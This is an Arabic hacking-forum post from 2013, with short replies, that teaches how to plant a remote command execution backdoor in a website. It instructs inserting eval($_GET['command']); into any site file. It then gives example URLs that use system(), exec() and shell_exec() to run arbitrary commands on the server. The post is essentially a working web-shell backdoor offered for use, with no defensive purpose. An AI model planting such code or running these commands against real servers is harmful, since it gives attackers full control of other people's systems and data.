زرع ثغره Remote Command Execution بطريقه سهله

box · منذ /11-16-2013, 02:49 AM

command, ثغره, execution, بطريقه, سهله, remote

زرع ثغره Remote Command Execution بطريقه سهله

بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته

تعريف الثغره للي ما يعرفها
الثغره تسمح لك بتنفيذ أوامر مباشره على السيرفر عن بعد !

أفتح أي ملف بالموقع وأضيف هذا السطر

كود PHP:

eval($_GET['command']);

الاستغلال :
كود PHP:

http://site.com/file.php?command=system('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=exec('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=shell_exec('XX');

واستبدل XX بألامر اللي تبغى تنفذه .. والنتيجه راح تظهر بالمتصفح ::
وطبعاً استبدل site.com بدومين الموقع وfile.php بإسم الملف اللي وضعت فيه السطر ::

المصدر: development-point - للمزيد تابع : قسم اختراق المواقع والسيرفرات

.vu eyvi Remote Command Execution f'vdri sigi command execution remote

EDZw4sS!m · منذ /11-17-2013, 12:40 AM

مشكور واصل

box · منذ /11-17-2013, 09:14 AM

شكراً على مرورك يا بعدي ان شاء الله الفآئده لكم لي الشبآب:~

المواضيع المتشابهه للموضوع: زرع ثغره Remote Command Execution بطريقه سهله
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
عمل Remote desktop مع mikogo وداعا للتيم فيور + يعمل على جميع الأنظمة	THEPIRATE	جديد البرامج والتطبيقات	4	09-07-2013 09:33 PM
ثـغرة بـ: جوملا بلغة البيرل Joomla commedia Remote Exploit	MhWy	قسم الثغـرات	4	10-25-2012 09:17 PM

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

زرع ثغره Remote Command Execution بطريقه سهله

بسم الله الرحمن الرحيم السلام عليكم ورحمه الله وبركاته تعريف الثغره للي ما يعرفها الثغره تسمح لك بتنفيذ أوامر مباشره على السيرفر عن بعد !